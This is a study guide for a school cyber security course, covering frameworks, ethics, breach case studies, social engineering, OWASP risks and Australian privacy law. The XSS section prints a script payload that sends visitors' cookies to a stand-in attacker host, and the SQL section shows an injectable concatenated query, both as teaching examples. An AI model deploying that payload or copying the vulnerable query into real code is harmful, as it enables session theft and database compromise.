

Cyber Security: condensed revision

Every topic from Weeks 1–4 in note form, two columns to the page. The middle tier: more room than the one-sheet SAC poster, far less paper than the full handbook. Recall prompts are collected on the last page — cover the notes and work through them.

WEEK 1 • LESSON 1

Goals & Objectives of Organisations

DEFINITION

Software development — the process of **conceiving, designing, creating, deploying and supporting** software applications.

- **Four software types**
 - **Systems software** — operating systems, device drivers.
 - **Programming software** — tools for programmers to create code.
 - **Applications** — help users complete tasks, incl. web and mobile.
 - **Embedded software** — controls machines and devices.
- **Why software is developed**
 - **Specific needs** of specific users — custom software.
 - **Perceived needs** of potential users — commercial and open-source.
 - **Automating mundane tasks**, entertainment, education — personal software.
- **Goals vs objectives**
 - **Goals** — long term; state the intention or purpose of the organisation.
 - **Objectives** — clearly defined, **measurable, shorter-term steps** towards those goals.
- **Choosing software**
 - Decide whether **generic, commercial/open-source or custom** is required.
 - Generic products must be **evaluated and compared** to find a suitable one.
 - Any software must be evaluated for **privacy and security requirements**.
- **Enhancing business processes**
 - **Productivity** — efficiency, quality, capabilities.
 - **Managing information** — business intelligence for decisions and innovation.
 - **Cost reduction** — automating processes.
 - **Collaboration** — cross-functional and remote teams.
 - **Accelerating growth** — innovation, integration, collaboration.
 - **Sales & service, and customer engagement** — direct communication with customers.

WEEK 1 • LESSON 2

Industry Frameworks

DEFINITION

Industry frameworks — structured sets of **best practices, standards and guidelines** to manage technology, data and security consistently. Keep systems secure, compliant with laws and policies, efficient and maintainable.

● Essential Eight — ACSC, maturity levels 0–3

01 Application control	Blocks unapproved or malicious software executing.
02 Patch applications	Fixes flaws before attackers exploit them.
03 Configure MS Office macros	Limits macros that can carry malware.
04 User application hardening	Disables unnecessary features — Flash, ads, Java.
05 Restrict admin privileges	Only trusted users get admin rights.
06 Patch operating systems	Closes known OS vulnerabilities.
07 Multi-factor authentication	A layer beyond passwords — SMS, app, token.
08 Regular backups	Restore after ransomware or system failure.

● ISM — the Government's primary framework

G1 • Development, testing & production environments

- **Separation** — keeps test code and bugs away from live systems.
- **Access controls** — developers shouldn't automatically reach production.
- **Data handling** — no real production data in dev/test unless necessary, and always anonymised.
- **Monitoring** — log who accessed what, and when, in all environments.

G2 • Secure software design & development

- **Secure coding standards** — input validation, output encoding.
- **Threat modelling** — build protections into the design.
- **Code reviews** and regular **developer training**.

G3 • Application security testing

- **SAST** — static; tests source code *without running* it, finds issues early.
- **DAST** — dynamic; tests the *running* application.
- **Penetration testing** — simulated attacks before hackers find the gaps.
- **Remediation & retesting** — fix, then confirm the fix worked.

WEEK 1 • LESSON 3

Ethics

DEFINITIONS

Ethics — a system of accepted rules about behaviour, based on right and wrong. **Code of ethics** — principles helping professionals conduct business honestly and with integrity. Governed by **law** in some industries (banking, finance); **voluntary** in others.

● Codes that matter

- **ACS Code of Professional Ethics** — core values **honesty, trustworthiness, respect**.
- **ACM Software Engineering Code** · **ACM Code of Ethics** · **IEEE Code of Ethics** · **Australia's AI Ethics Principles**.

● The five ethical issues

Ineffective security	Weak encryption, passwords or validation leaves users open to attack, leaks, identity theft — <i>an app exposing private messages</i> .
Use of AI	Question training data source, accuracy and bias — <i>a recruitment app favouring certain genders or backgrounds</i> .
IP & copyright	Respect licences, credit creators, don't copy-paste without attribution — <i>libraries used without checking the licence</i> .
Privacy & metadata	Timestamps, location and device info can identify someone — <i>image metadata revealing where a user lives</i> .
Content moderation	Duty to prevent offensive, harmful or unlawful content via filters, moderation, flagging — <i>hate speech left in comments</i> .

IGNORING ETHICS

Loss of user trust · negative media and reputational damage · legal action or platform bans · long-term harm to individuals and communities.

WEEK 2 · LESSON 1

Vulnerabilities, Risks & Case Studies

FRAMING

When systems and processes are **not properly protected**, they become vulnerable to cyber threats. Attackers exploit these weaknesses to reach data, disrupt services, or compromise user trust.

Poorly secured APIs • Optus, 2022

APIs may expose sensitive functions when authentication, encryption or rate-limiting are wrong.

An **exposed API** facilitated unauthorised access to customer data. Affected **9M+ Australians**; revealed flaws in access controls and authentication on public-facing systems.

MITIGATE Strong authentication and authorisation on all endpoints · HTTPS everywhere · limit data in API responses · rate limiting and throttling · regular security assessments and audits.

Malware • Toll Group, 2020

Enters via infected libraries, compromised devices or phishing.

Two ransomware attacks in three months encrypted data and disrupted national operations. Entered through **phishing** and exploited **outdated software**.

MITIGATE Up-to-date anti-malware on all dev systems · scan dependencies and libraries · restrict admin access and whitelist applications · phishing training · monitor for unusual behaviour.

Unpatched software • Accellion, 2021

Both operating systems and dev tools — IDEs, frameworks, libraries — get neglected.

Attackers exploited an **unpatched flaw** in file transfer software used by Australian organisations, exfiltrating documents from government agencies and private companies.

MITIGATE Automated patch management · monitor vendor announcements · test patches in staging before rollout · maintain an inventory of components and their update status.

Poor IAM • ANU, 2023

Shared credentials, no MFA, improper role assignments.

A breach from unauthorised access through **compromised credentials**. Lack of MFA and inadequate logging **delayed detection**.

MITIGATE Enforce least privilege · MFA on all accounts, especially privileged · unique credentials, never shared · regular review of access logs and permissions.

Insider threats • Fintech startup, 2022

Misuse of legitimate access, deliberate or accidental.

A former employee was investigated for **planting backdoors** in the codebase before leaving. Found only after suspicious traffic patterns appeared.

MITIGATE Version control and code review · restrict by role and revoke access immediately on exit · monitor activity and system logs · ethics and security policy training.

MitM attacks • Banking apps, public Wi-Fi

Communication intercepted or altered in transit.

Australian users were targeted when using banking apps over **insecure Wi-Fi**; attackers redirected traffic to **fake login pages** to steal credentials.

MITIGATE HTTPS and encrypted protocols · VPN on public Wi-Fi · certificate pinning · validate digital certificates · strong network segmentation.

Cyber security incidents • Service NSW, 2021

Compromise the integrity, confidentiality or availability of data and systems.

A **phishing campaign** compromised staff email and exposed **700,000+ documents**, including driver's licences and personal details.

MITIGATE Incident response plan, updated regularly · detection systems (IDS/IPS) and logging · cyber hygiene training · secure, regularly tested backups.

Third-party software • SolarWinds, 2020

Code, libraries and tools not built in-house.

A global supply-chain breach: attackers inserted a **backdoor into a software update**, reaching Australian federal departments and networks worldwide.

MITIGATE Trusted sources only · security audits of third-party tools · monitor vulnerability disclosures for dependencies.

Ineffective code review • Online retailer checkout

Reviews rushed or bypassed under time pressure, especially in agile teams.

A **logic flaw missed in an informal review** caused a checkout failure, losing sales during a promotional period.

MITIGATE Structured peer review for all changes · automated tools (linters, static analysis) · coding standards and review checklists · constructive review culture.

Combined environments • Health provider, 2019

Dev and test lack production's controls but share its data.

Patient data was exposed when a new system was tested using **live production data**. The test server was misconfigured and **indexed by search engines**.

MITIGATE Isolate environments physically and logically · never use real customer data in test · secure all environments equally · monitor for misconfigurations.

● Man-in-the-middle, in detail

An attacker **secretly intercepts or alters** communication between two parties who believe they're talking directly. Separate connections are made with each side and messages relayed, so the conversation looks normal while being monitored or controlled. Easiest on **unencrypted Wi-Fi** and **email** (often no default encryption). Encryption helps, but users can still be lured to phishing sites, or traffic recorded for later.

Seven techniques

- **SSL stripping** — HTTPS to the site, HTTP to the user, exposing data.
- **Evil twin** — fake hotspot imitating a trusted network.
- **Email hijacking** — monitor a real thread, impersonate a party, redirect a transfer.
- **Wi-Fi eavesdropping** — trustworthy-looking free networks intercept traffic.
- **Session hijacking** — steal cookies or session keys to take over a live session.
- **DNS spoofing** — altered records send users to a fake site.
- **IP spoofing** — disguise the source address as trusted.

What attackers want

Spy on conversations or data · steal personal information (card numbers, credentials) · redirect money transfers · corrupt or manipulate transmitted data.

PREVENTING MITM

- **Email security tools** — monitor traffic, block suspicious activity.
- **Web security tools** — detect unsafe traffic, stop malicious redirects.
- **Educate staff and users** — fake Wi-Fi, suspicious emails, using real case studies.
- **Keep credentials secure** — strong unique passwords, changed at least every three months.

● Spoofing & invoice scamming

- **Email spoofing** — the sender's address is forged. Most email shows only the display name, so users click links, open attachments, send data or transfer money.
- **Caller ID spoofing** (CLI overstepping) — a fake, often local number. **Legal in Australia unless used for scams or malicious purposes.** Attackers pose as banks, government or phone companies.
- **Invoice scamming** — a legitimate emailed invoice is intercepted and the **bank details changed**. Money moves offshore quickly and is rarely recovered. **The payer is usually responsible for the loss**, since the invoice wasn't paid to the correct company. In 2021, **1 in 5** Australian small businesses were affected, average loss **\$15,500**.

● Email as a breach source, and IoT

Misdirected emails — mistyping an address or picking the wrong autocomplete entry — are one of the most common types of data breach. The same problem existed with fax machines in health.

IOT CODE OF PRACTICE

Connectivity raises the stakes: smart home and IoT devices often lack proper security and encryption, and risk assessment can't keep pace. The Australian Government's code has **13 principles**; prioritise the first three: **1.** no duplicated default or weak passwords · **2.** implement a vulnerability disclosure policy · **3.** keep software securely updated.

WEEK 2 · LESSON 2

Mitigation Measures

Organisations must apply **mitigation strategies** that reduce or eliminate threats, vulnerabilities and risks — in operational

environments and during development. The **ACSC** advises both technical controls (MFA, updates, password policy) and organisational strategies (training, awareness programs).

HOW CREDENTIALS GET STOLEN

Fake websites (**phishing**) · automated guessing (**brute force**) · data taken from a **breached service** · **malware** capturing logins. Stolen credentials are behind many Australian breaches.

● 1 • Staff awareness

Train staff to spot **phishing** (fake emails harvesting login details) and **spear phishing** (targeted, using personal or company information). Include how to spot suspicious activity and the cyber risks relevant to each role.

● 2 • Password safety — ACSC

- Strong, long, unpredictable **passphrases**.
- No reuse across important accounts; change regularly.
- Lock accounts after too many failed logins.
- Reset compromised passwords immediately.
- Don't share passwords between secure and less secure services.

● 3 • Secure software practices

- **MFA** for important actions and remote access.
- Keep software, browsers and plugins up to date; run anti-virus.
- Watch for suspicious account activity.
- Never enter credentials via links from unknown sources — navigate to official sites manually. A friend's account can be hacked and used to send fake messages.

WEEK 2 · LESSON 3

Social Engineering Attacks

DEFINITION

Psychological manipulation fooling users or employees into handing over confidential data. Usually invokes **urgency or fear**, leading the victim to reveal information, click a malicious link, or open a malicious file. Hard for enterprises to prevent because the weak point is **human**.

Phishing	Most common. Harvests names, addresses, passwords, PINs, account numbers via misleading links, plus threats or urgency.
Spear phishing	Targeted — tailored to the person's characteristics, job position and contacts.
Baiting	Something enticing in exchange for details — a <i>USB labelled "Confidential" that auto-installs malware</i> .
Quid pro quo	A service in exchange for access — <i>fake IT assistance, or \$100 for network access "for an experiment"</i> .
Pretexting	False trust through impersonation — a <i>co-worker, "IT support", an "auditor"</i> .
Tailgating	Physical — following staff into a restricted area, or borrowing their laptop or phone.

● Organisational defences

- **Employee education** — the most effective defence is a well-informed workforce. Ongoing, practical, tailored to operations.
- **Policies & procedures** — verification protocols, information handling, approval workflows, physical security.
- **Email filtering** — high spam settings and conversation threading make phishing easier to spot.
- **Secure, updated devices** — outdated software is a key target; anti-virus alone is insufficient.

● Spotting scams as an individual

- **Don't rush** — scammers want panic. **Check the facts** — look the company up yourself rather than using their link.

- **Don't trust the link** — hover to check, but typing the address is safer.
- **A message from a friend isn't automatically safe** — accounts get taken over; verify another way.
- **Don't download unexpected files.** Foreign prize or inheritance offers are **100% fake**.
- **Never share personal or financial info** — real companies don't ask by email. Ignore unsolicited offers or requests for help.

● Proactive vs reactive training

Security awareness

Ready *before* an attack: spot scams, know the risks, stay safe online, report problems, refresh regularly. Stops attacks before they happen; builds safer habits.

Incident response

Kicks in *after*: notice the problem, contain it by shutting down the affected area, save evidence, tell IT/security, fix it. Builds fast, smart reactions.

THE ANALOGY

Seatbelts and airbags — awareness stops things going wrong; incident response minimises damage when they do. Together they form a strong defence.

WEEK 2 · LESSON 4

Software Security

SECURITY BY DESIGN

Security is part of the plan **from the very beginning**, not tacked on at the end — building the house with the locks already in place. Think about protecting data **before the first line of code**, and write code that stops attackers. Prevents problems rather than fixing them later.

● OWASP Top 10 — web application risks

1. **Broken access control** — users reach things they shouldn't.
2. **Cryptographic failures** — personal or financial data not stored or sent securely.
3. **Injection** — software tricked into running harmful code.
4. **Insecure design** — risks from design flaws.
5. **Security misconfiguration** — settings too open or badly set up.
6. **Vulnerable & outdated components** — libraries or plugins with known flaws.
7. **Identification & authentication failures** — login systems don't protect accounts.
8. **Software & data integrity failures** — updates or critical data trusted without verification.
9. **Security logging & monitoring failures** — attacks happen unnoticed or unlogged.
10. **Server-side request forgery** — data sent to your program can be tampered with.

● Cross-site scripting (XSS)

A flaw letting attackers add their own code — usually JavaScript — to a web page others will see, which their browsers run unknowingly. Happens when a site **displays user input without checking or cleaning it**.

Impact: change how the site looks or behaves · steal private information like cookies · act as the user · spread to other users like a virus.

Stored XSS — the harmful code is **saved in the database** and shown again and again. A username containing a script sends every visitor's cookies to the attacker, who hijacks their login:

```
user123<script>document.location='https://attacker.com/?
cookie='
+encodeURIComponent(document.cookie)</script>
```

It can act like a **worm**: an infected profile infects everyone who visits, and those profiles spread it further.

PREVENTING XSS — ZERO TRUST

- **Sanitise** all user input by escaping special characters.
- **Validate** for type, length, range and format, **server-side**.
- **Encode** special characters in all output to the browser.
- Let users disable client-side scripts. Client-side validation helps but is **never relied on alone**.

● SQL injection

Malicious code inserted into a normal SQL statement to **dump the contents of a database**, produced through **unsanitised user input**. Easily prevented by validating input — but often isn't.

Incorrectly filtered escape characters — user input passed straight into a statement:

```
"SELECT * FROM users WHERE username= '"+username+"'"
```

The attacker crafts `username` with an **always-true clause**, or **comments out the rest** of the query; a semicolon lets them run a separate statement. **Incorrect type handling** — no type checking, so a text string is terminated early and a new command appended.

PREVENTING SQL INJECTION

- **Validate input** — assume all submitted data is unsafe; escape dangerous characters (e.g. `mysql_real_escape_string()`); check type, range and format.
- **Parameterised statements** — placeholders instead of embedding input; also fixes type handling, since a placeholder only accepts the correct type.
- **Prepared statements & stored procedures** — the statement assembles and sanitises the data on execution. Prevents *some* injection, not all — don't rely on them exclusively.
- **Least-privilege database permissions · WAF and database firewalls** — these block unauthorised transactions but can't be the only defence, and may only slow an attack.

WEEK 2 · LESSON 5

Key Legislation

Three Acts affect how organisations control the **collection, storage (including cloud) and communication** of data — and they also govern disposal.

● Privacy Act 1988 — federal

Covers: Commonwealth departments · ACT government agencies · private organisations with turnover of at least **\$3 million/year**, or holding health information, **or** buying/selling personal information for profit, **or** contracted to the Commonwealth.

- Only collect information that is **necessary**; only use it for **the intended purpose**.
- No disclosure to a third party for any other purpose.
- Individuals may **access and correct** information held about them.
- A **publicly available privacy policy** is required.
- Steps must be taken to ensure the **quality and security** of information.

AUSTRALIAN PRIVACY PRINCIPLES

- **APP 1** open & transparent management — privacy statements, clear data policies.
- **APP 3** collection of solicited information — only what's reasonably necessary, lawful and fair.
- **APP 6** use or disclosure — purpose-bound unless the individual consents.
- **APP 8** cross-border disclosure — protection follows the data overseas (cloud).
- **APP 9** government-related identifiers — restricts using TFNs etc. in private databases.
- **APP 11** security of personal information — encryption, access controls, regular testing.

• Privacy & Data Protection Act 2014 — Victoria only

Covers: Victorian departments and public sector agencies · Victoria Police · state government schools · public Victorian universities · public hospitals and health services (**non-medical information only** — medical is the **Health Records Act 2001**) · organisations providing government-funded services.

Agencies must safeguard data with **security assessments and encryption**. Breach notification is **encouraged, not mandatory**. The **Victorian Information Commissioner** oversees compliance; penalties include legal action or administrative orders.

INFORMATION PRIVACY PRINCIPLES

- **IPP 1** collection — fair, lawful, not intrusive; state the purpose.
- **IPP 2** use & disclosure — aligns with APP 6.
- **IPP 4** data security — protected from misuse, loss, unauthorised access and modification. **IPP 4.2** destroy or de-identify data no longer needed.
- **IPP 5** openness · **IPP 7** unique identifiers.
- **IPP 9** transborder data flows — data must not leave Victoria unless equivalent protection exists.
- **IPP 10** sensitive information — stricter handling of health or ethnic background data.

• Copyright Act 1968 — federal

Protects **intellectual property** — original creations of the mind including text, video, software and artistic works. Updated by the **Copyright Amendment (Digital Agenda) Bill 2000** for digital distribution.

- **Ownership** — the creator's unless assigned; **employers** hold copyright over work produced as part of a job.
- **Automatic and free** once the work is in tangible form.
- **Protected** — literary, dramatic, musical and artistic works, films, sound recordings, broadcasts.
- **Not protected** — ideas, concepts, names, slogans, images of people.
- **Personal use exception** — format-shifting media you legally own.
- **Infringement** — civil penalties (cessation orders, damages); criminal charges and imprisonment in severe cases.

WEEK 2 · LESSON 6

Improving Development Security

SECURE DEVELOPMENT

Creating software **designed to be safe from the start** — security at every stage, from planning and coding to testing and deployment. It protects against attack, keeps user data safe, prevents exploitable bugs, and follows best practice and legal standards. **Why it matters:** protects user data · prevents costly post-release fixes · builds trust · meets legal and industry requirements.

• 1 · Onboarding & induction

When security is part of team culture **from day one**, developers follow good habits and avoid risky mistakes.

- **Security briefings** in first-day orientation.
- **Access control** — only the permissions they need, not full access "just in case".
- **Codebase walkthroughs** — how encryption, authentication and error handling are done here.
- **Team introductions** — who to ask about security.

• 2 · Developer training

Focus: common vulnerabilities (XSS, SQL injection, broken authentication) · safe coding standards (validate input, encode output) · security tools that scan code · the OWASP Top 10.

Methods: online courses · workshops and hackathons · short refresher sessions · peer code reviews focused on security.

• 3 · Risk management plans

A document setting out what could go wrong, how likely it is, and what to do — **proactive** rather than waiting for problems.

1. **Identify risks** — what could go wrong?
2. **Assess** — how likely, and how serious?
3. **Plan responses** — what will you do if it happens?
4. **Monitor** — track throughout the project and update.

Typical software risks: insecure third-party libraries · lack of input validation · poor user authentication · delayed patching.

ID	RISK · CAUSE	LEVEL	RESPONSE · OWNER
R1	Outdated third-party libraries — no regular updates (<i>technical</i>)	High	Mitigate — schedule regular library updates · Alex (DevOps)
R2	Weak user authentication — poor password policies (<i>security</i>)	Critical	Avoid — implement MFA · Jamie (Backend)
R3	Data loss during deployment — no backup strategy (<i>operational</i>)	Medium	Mitigate — automated backups before deployment · Taylor (SysAdmin)
R4	Incomplete input validation — developer oversight (<i>security</i>)	High	Mitigate — validation checks and peer reviews · Morgan (Frontend)

Register structure: identification (ID · risk · category · cause) → assessment (likelihood · impact · risk level) → response (strategy · action plan · responsible) → monitoring (method · frequency · status).

WEEK 3 · LESSON 1

Security of Data

• Why data is valuable

If a hard disk crashed with no backup, what's lost is **original and irreplaceable**. A business loses client lists, payroll, tax records, accounting and transaction details, and records of debts owed both ways.

WHY THAT WOULD BE CATASTROPHIC

The business wouldn't know its customers or how to contact them · staff couldn't be paid and income would drop to zero · the tax department and creditors could pursue legal action · trade secrets and reputation gone · a privacy policy violation if personal information is damaged or released. **Computers are insured and replaceable; the data isn't.**

DEFINITION

Data security — making sure only the people who should **read** data can read it, and only those who should **write** it can write it. Implemented through equipment (a network OS with user authentication) and measures (organisational password policies).

● Characteristics of secure information

- **Protected** — user authentication with passwords; firewalls, anti-malware and antivirus kept current; physical storage with access restrictions, locks, guards, alarms.
- **Confidential** — access only to information people need. The **PDP Act 2014** requires sensitive information on a '**need to know**' basis.
- **Risk managed** — regular backups; ventilation, fire extinguishers and alarms in data centres; an emergency **business continuity plan**.

● Backups

A **backup** is a copy recoverable after a primary data failure — hardware or software failure, corruption, or human-caused events such as malware or accidental deletion. The more time between backups, the more data is lost. A good system: **daily** incremental to portable device and/or cloud · **end-of-week** server · **quarterly** and **yearly** server. Always **test that you can actually restore**.

- **3** — three copies: the original and two backups.
- **2** — two different media types.
- **1** — one copy offsite, away from the original location.
- **3-2-1-1** — a variation keeping **two** offsite copies: one cloud (online), one offsite *and* offline.

E8 BACKUPS ML1 ML2 ML3 — AIM HERE

Frequency	Monthly	Weekly	At least daily
Storage	—	Offline or non-rewritable	Offline or non-rewritable
Retention	1–3 months	1–3 months	3 months or greater
Full restore	—	Tested once	At implementation and every infrastructure change
Partial restore	Annually	Bi-annually	Quarterly or more often

● Data disposal

Data disposal — the destruction, transfer, damage or alteration of data. **IPP 4.2:** take reasonable steps to destroy or permanently de-identify personal information no longer needed. **IPP 1.1:** minimise the need by collecting less identifiable information.

Public Records Act 1973 — public records can't be destroyed unless authorised. **PROV** issues three authorities: **NAP** (normal administrative practice), **RDA** (retention and disposal authority), **SIDA** (single instance disposal authority). NAP covers transitory messages, rough working papers, drafts not for further reference, reference copies, and published material not in the records.

DELETION ≠ DESTRUCTION

Deleting removes only the **pointer** — the file name and directory path. The data is gradually overwritten over time, and until it is fully overwritten it can still be retrieved with recovery tools.

- **Clearing** — overwritten and hidden under nonsensical data so disk or file recovery utilities can't retrieve it.
- **Purging** — randomised so it can't be reconstructed even by a "laboratory attack" outside its usual environment.
- **Degaussing** — erasing by demagnetising magnetic media.
- **Destruction** — the most extreme; media drastically altered and never reused.

Physical methods: shredding (cross-shredding for sensitive documents), pulping, burning as a last resort in an industrial facility; digitally, shredding, disintegration, incineration, pulverisation and melting. Destroy **all** copies — system backups, cloud and offsite; cloud contracts should stipulate destruction. **Factory reset isn't enough:** for phones, tablets and SSDs, encrypt *before* resetting so remaining data can't be recovered.

WEEK 3 · LESSON 2

Security Controls in Development

Every design choice and line of code can protect or endanger users' data. Secure development is about **how the product is made, who can access it, how it's stored, and how it's maintained**.

CONTROL	WHAT IT DOES	WHY IT'S IMPORTANT
Version control & repositories	Tracks and manages code	Controls access and recovers from errors
Identity & access management	Manages user access	Prevents unauthorised access
Encryption	Protects data	Keeps information safe even if breached
Code review	Peer-checks code	Identifies security issues early
Updates / patches	Fixes vulnerabilities	Reduces risk from known exploits
Environment separation	Isolates app stages	Keeps real data and users safe

● Version control

Also called **source control** — tracks and stores changes to development files across the whole project lifecycle. Without it every change overwrites the last, like an essay whose old drafts vanish. Tools such as **Git** and platforms such as **GitHub** let developers change, fix, experiment and undo — an unlimited "undo" button with collaboration built in.

- Repositories **restrict access** so only approved users change critical files or merge to main.
- Every change records **who made it, when, and why** — malicious or poor code can be traced and removed.
- Improves productivity and collaboration, team communication, error and conflict rates, development speed, deployment success, and customer satisfaction through more reliable versions.
- Save changes **frequently and consistently** with comprehensible naming conventions.

BOTH TOOL AND SAFETY NET

Version control protects source code from deliberate or accidental security and physical risks, and from the casual degradation of human error. **As with any important data, regular backups should still be done.**

● Identity & access management

Not everyone should have the keys to the kingdom — IAM ensures **each person only has the access they need**. Like a school building: students, teachers and the principal reach different areas; you wouldn't want a student in the server room. It uses **login credentials, MFA and role-based permissions**, so even a stolen password does limited damage.

PRINCIPLE OF LEAST PRIVILEGE

The **minimum access needed** to do the job — a tester views results but can't change source code; a junior developer works on a feature without touching the production database.

WEEK 4 • LESSON 1

In-House vs External Development

Organisations must decide whether to build **in-house** with their own developers, or **externally** via a third party or existing tools. A key concern in external development is **third-party risk**.

In-house — advantages

- Full control over how software is built.
- Tailored to internal goals or client needs.
- Efficient stakeholder communication.
- Better understanding of internal workflows.
- Adapts quickly to change.

In-house — disadvantages

- Resource-intensive — developers, PMs, testers, support.
- Higher costs, especially for small and medium businesses.
- Complex features from scratch take time.
- Slower if the team lacks tool experience.

External — advantages

- Significantly reduces time and cost.
- Frees teams to innovate rather than reinvent basic features.

External — disadvantages

- Trusts another's security practices, update cycles and reliability.
- Disruption if a vendor drops support or a library has flaws.
- Licensing issues if terms aren't understood or followed.

In-house remains popular for organisations with **sensitive data or unique requirements**; most teams combine both approaches.

FACTOR	IN-HOUSE	EXTERNAL / THIRD-PARTY
Control	Full, including customisation and decisions	Limited over external code and services
Knowledge	Knows internal processes and operations	Unfamiliar with business operations
Cost	High — staff, tools, infrastructure	Often cheaper through reuse
Communication	Easier between parties involved	Slower; miscommunication possible
Speed	Slower, especially complex projects	Faster via reusable components and experience
Security	Easier to manage and audit; data stays in-house	Relies on third-party practice; hidden flaws
Customisation	Fully tailored	Restricted by third-party limitations
Maintenance	Internal; lower ongoing cost	Dependent on contractors; possibly higher
Legal risk	Full ownership of IP	Must comply with licences and vendor terms
Integration	Easier with existing systems	May need adapters or extra configuration

• Third-party risk

Third-party software — any external SDK, API, plug-in or hosted application not built in-house. Used to save time and cost, but badly managed it becomes the **weakest link**.

- Vulnerabilities in external libraries can be exploited **even if your own code is secure**.
- External services may access files, user data or configurations **beyond what is necessary**.
- Known flaws remain if patches aren't applied regularly.
- Vendors may stop supporting products — reliability and availability concerns.

SOFTWARE COMPOSITION ANALYSIS

An automated technique that **scans the codebase to identify all external components**. It detects known vulnerabilities in third-party libraries, highlights licensing obligations to avoid legal risk, recommends updates for outdated components, and shows whether vulnerable code is **actively used** by your application.

ENCRYPTION & ACCESS CONTROL

Encryption keeps data unreadable without the key even if intercepted — important when third-party software handles user information, financial data or IP. **Access control** limits what vendors can see and do; **least privilege** reduces the chance a third-party bug affects the whole system.

Best practice: encrypt in transit and at rest with strong standards · grant the minimum access needed · monitor and log all external access for auditing · regularly review and revoke unnecessary permissions.

WEEK 4 • LESSON 2

Threat Modelling Principles

DEFINITION

A **structured approach to identifying and addressing potential security threats** — **thinking like an attacker** to predict how a system could be exploited, then acting to prevent it. Like a risk management plan for floods or fires, but for hacking, data leaks and unauthorised access.

• 1 • Define security requirements

Before writing code, define the protections the software must provide — e.g. *"user passwords must be encrypted"*, *"only verified users can access private data"*, *"the system must log all failed login attempts"*.

Requirements should **align with laws** (e.g. Privacy Act 1988), protect sensitive data, support authentication and authorisation, and be **clearly documented from the start**. Security not planned from the beginning creates vulnerabilities that are **harder and more expensive** to fix later.

• 2 • Identify threats

Ask "what could go wrong?" and "how might someone break or misuse this?"

THREAT	DESCRIPTION	EXAMPLE
Data breach	Unauthorised access to private data	Leaking personal information from a database
Code injection	Harmful code sent through inputs	SQL injection via a login form
XSS	Code injected into a web page	Script steals session cookies
Denial of service	Overwhelming the system to crash it	Spamming login to shut down the server
Man-in-the-middle	Intercepting communication	Eavesdropping on unsecured Wi-Fi

Tools: **STRIDE** classifies threats — **S**poofing, **T**ampering, **R**epudiation, **I**nformation disclosure, **D**enial of service, **E**levation of privilege — plus security auditing and threat brainstorming sessions.

• 3 • Mitigate threats

SQL injection	Input validation and prepared statements
Data breach	Encrypt stored data, secure authentication
XSS	Sanitise user input
DoS attacks	Rate limiting and traffic filtering
Weak passwords	Strong password policies and MFA

Also: penetration testing to simulate real attacks · secure coding training · application security tools (**SAST / DAST / IAST**) to detect flaws automatically.

• 4 • Confirm mitigation

Verify the threats are genuinely handled through **security testing** (manual and automated) · **code reviews** (internal or third-party) · **regression testing** so fixes don't break other parts · **audit trails** logging activity to track incidents · **compliance testing** against legal and policy standards.

ONGOING

Security is a **continuous process, not a one-time fix**. New threats emerge regularly, and software must evolve to stay protected.

WEEK 4 • LESSON 3

Evaluating Development Security

Organisations must evaluate how securely they build and maintain software across the **entire lifecycle**. Evaluation criteria identify strengths, weaknesses and areas for improvement — whether practices meet industry standards, comply with regulations, and work against real threats. Security is a **shared responsibility**; evaluation is built into the development cycle and repeated as threats evolve.

CRITERION	WHAT IT COVERS • WHAT TO ASK
Identifying & assessing risk	The foundation. Identify anything that could harm systems, data or people — unauthorised access, data loss, system failure, attacks — and analyse each for likelihood and impact . The goal is not zero risk (usually impossible) but reducing risk to an acceptable level . Ask: Are all relevant threats identified? Are risks evaluated for both likelihood and consequences? Are mitigations in place and reviewed regularly for effectiveness?

CRITERION	WHAT IT COVERS • WHAT TO ASK
Security controls	Authentication (verifying identity), authorisation (right access), encryption and access control . Check not just that controls exist but that they're maintained, tested and updated — outdated controls or default passwords are as vulnerable as no controls . Overly strict controls block legitimate users. Ask: Are authentication and access control properly configured? Is sensitive data encrypted during storage and transmission? Are controls monitored and updated as threats evolve?
Secure development practices	Security embedded in how code is written — input validation (prevents injection), proper error handling (avoids exposing system details), regular code reviews, and principles such as least privilege and fail-safe defaults . Teams without training, or skipping steps under pressure, let vulnerabilities through. Ask: Are developers trained in secure coding? Are input validation and error handling consistently followed? Are secure defaults and access restrictions implemented in the code?
Security testing	Verifies software is protected, not just functional — vulnerability scanners plus manual penetration testing simulating real attacks. Test after every update or change, covering both internal features and third-party components. Ask: Are vulnerability scans and penetration tests conducted regularly? Are security tests in the CI/CD pipeline? Are results used to improve code and architecture?
Third-party components	Most software relies on libraries, APIs, SDKs and external services. Identify every external component and assess update history, patches, licensing terms and community support ; automate the review with SCA . Ask: Are all third-party tools and libraries documented and tracked? Are they regularly reviewed for known vulnerabilities? Are licensing and compliance issues considered before use?
Awareness & culture	Technology alone can't secure a system — developers, testers, managers and end users must all be trained to spot suspicious activity and protect data. A strong culture supports proactive behaviour; a weak one leads to mistakes and non-compliance. Ask: Do all team members receive regular security training? Is there a shared understanding of secure development responsibilities? Is security a priority at every level?
Incident response readiness	Incidents happen regardless; what matters is how fast and effectively the organisation responds. A plan covers who is notified, how systems are isolated, how data is recovered, and how communication is managed — and must be kept current and tested. Ask: Is there a documented and tested incident response plan? Are roles and responsibilities clearly defined? Are incidents reviewed afterwards to improve the process?
Compliance & continuous improvement	Align with the Privacy Act 1988 , the PDP Act 2014 and ACSC guidance to avoid penalties and uphold trust. But security isn't a checklist — continuous improvement means reviewing processes, updating tools and tracking new threats. Ask: Are practices compliant with relevant laws and standards? Are security strategies reviewed and improved over time? Is feedback from incidents and audits used?

EXTENDED-RESPONSE STRUCTURE

1. **Name the criterion** you're evaluating against.
2. **State the evidence** from the case study.
3. **Judge it against the standard** — a framework (Essential Eight, ISM, OWASP), an Act, or best practice.
4. **Recommend the control** that closes the gap.
5. **Say how you'd confirm** it worked — testing, audit, review.

SELF-TESTING

Recall Prompts

Cover the notes and work through these. If one stalls, that's the section to reread.

WEEK 1

1. Four software types with an example of each; goals vs objectives.
2. List the Essential Eight in order. Which three keep software current?
3. The three ISM guidelines, and the difference between SAST and DAST.
4. The ACS core values, and the five ethical issues with an example each.

WEEK 2

1. Match each case study to its vulnerability: Optus · Toll · Accellion · ANU · Service NSW · SolarWinds.
2. Which two case studies had phishing as the entry point?
3. Name all seven MitM techniques and one mitigation for each.
4. Why is the payer usually liable in an invoice scam?
5. The six social engineering types; how does pretexting differ from baiting?
6. Three key differences between security awareness and incident response training.
7. Why does stored XSS spread like a worm? Why do parameterised statements fix both forms of SQL injection?
8. Which Act covers a state school? A \$5M-turnover company? A hospital's medical records?
9. State APP 11 and IPP 4. Which APP and IPP cover data leaving the country?
10. The four steps of risk management, applied to "delayed patching".

WEEKS 3-4

